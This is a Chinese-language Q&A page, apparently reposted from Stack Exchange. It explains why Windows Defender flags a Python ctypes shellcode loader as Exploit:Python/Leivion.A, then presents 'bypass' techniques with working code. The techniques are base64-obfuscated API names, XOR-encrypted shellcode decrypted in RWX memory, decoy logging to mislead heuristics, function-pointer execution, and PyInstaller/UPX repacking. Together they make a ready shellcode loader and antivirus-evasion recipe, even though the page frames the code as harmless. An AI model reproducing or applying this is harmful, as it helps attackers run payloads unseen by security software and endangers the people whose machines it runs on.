Windows Defender误报无害Python代码为Exploit:Python/Leivion.A的原因及绕过方法
Windows Defender误报Python Shellcode加载代码的原因与绕过方案
为什么会触发误报?
Windows Defender把你的代码标记为Exploit:Python/Leivion.A,本质是因为这段代码的核心行为和已知恶意代码的特征完全匹配:
- 你调用的
VirtualAlloc(分配可执行内存)→RtlMoveMemory(写入shellcode)→CreateThread(执行内存代码)是恶意软件(远控、勒索软件等)最常用的内存执行链,属于启发式检测的高风险行为 - 这段代码没有任何业务逻辑支撑,就是纯粹的shellcode加载执行骨架,Defender的启发式规则会直接把这种无上下文的内存操作判定为可疑exploit
Leivion.A这个特征本身就是专门针对Python环境下这类内存执行代码的检测规则,不管你实际的shellcode是不是恶意的,只要代码结构符合就会触发警报。
可行的绕过方法
下面是几个实战中有效的绕过思路,你可以根据需求选择:
混淆API调用路径:
不要直接用ctypes.windll.kernel32硬编码调用API,通过动态加载、字符串混淆的方式隐藏调用逻辑。比如用base64解码函数名和dll名:import ctypes import base64 # 动态加载kernel32,用base64混淆dll名 kernel32 = ctypes.WinDLL(base64.b64decode(b'a2VybmVsMzIuZGxs').decode()) # 同样混淆API函数名 VirtualAlloc = getattr(kernel32, base64.b64decode(b'VmlydHVhbEFsbG9j').decode()) RtlMoveMemory = getattr(kernel32, base64.b64decode(b'UnRsTW92ZU1lbW9yeQ==').decode()) CreateThread = getattr(kernel32, base64.b64decode(b'Q3JlYXRlVGhyZWFk').decode())这样可以避开Defender对硬编码API调用的特征检测。
对shellcode做简单加密:
不要直接把原始shellcode写入内存,先做XOR之类的轻量加密,写入后再解密,打破静态特征:shellcode = bytearray(b"SHELLCODE WAS HERE") # 用随机密钥加密 key = 0x2B encrypted_sc = bytearray([b ^ key for b in shellcode]) # 分配内存并写入加密后的shellcode ptr = VirtualAlloc(0, len(encrypted_sc), 0x3000, 0x40) buf = (ctypes.c_char * len(encrypted_sc)).from_buffer(encrypted_sc) RtlMoveMemory(ptr, buf, len(encrypted_sc)) # 内存中解密 for i in range(len(encrypted_sc)): ctypes.c_byte.from_address(ptr + i).value ^= key添加合法的“噪音”逻辑:
给代码加一些看似正常的业务操作,让启发式检测认为这是一个正经程序,比如读取配置、打印日志:import datetime # 假装在做初始化操作 print("Initializing application...") with open("app_log.txt", "a") as f: f.write(f"Session started at: {datetime.datetime.now()}\n")这种无意义但合法的操作会降低代码的可疑度。
换一种内存执行方式:
不用CreateThread,而是把内存地址转换成函数指针直接调用,绕开线程创建的特征:# 把分配的内存地址转换成函数指针 execute_sc = ctypes.CFUNCTYPE(ctypes.c_void_p)(ptr) # 直接执行 execute_sc()打包成可执行文件:
用PyInstaller把Python代码打包成exe,打包时可以加--upx-dir启用UPX压缩,或者自定义图标,改变文件的静态特征。比如:pyinstaller --onefile --upx-dir ./upx --icon app.ico your_script.py注意不同的打包参数可能影响检测结果,多尝试几种组合。
内容的提问来源于stack exchange,提问作者Extrenz Arnautov
相关产品推荐
相关产品推荐

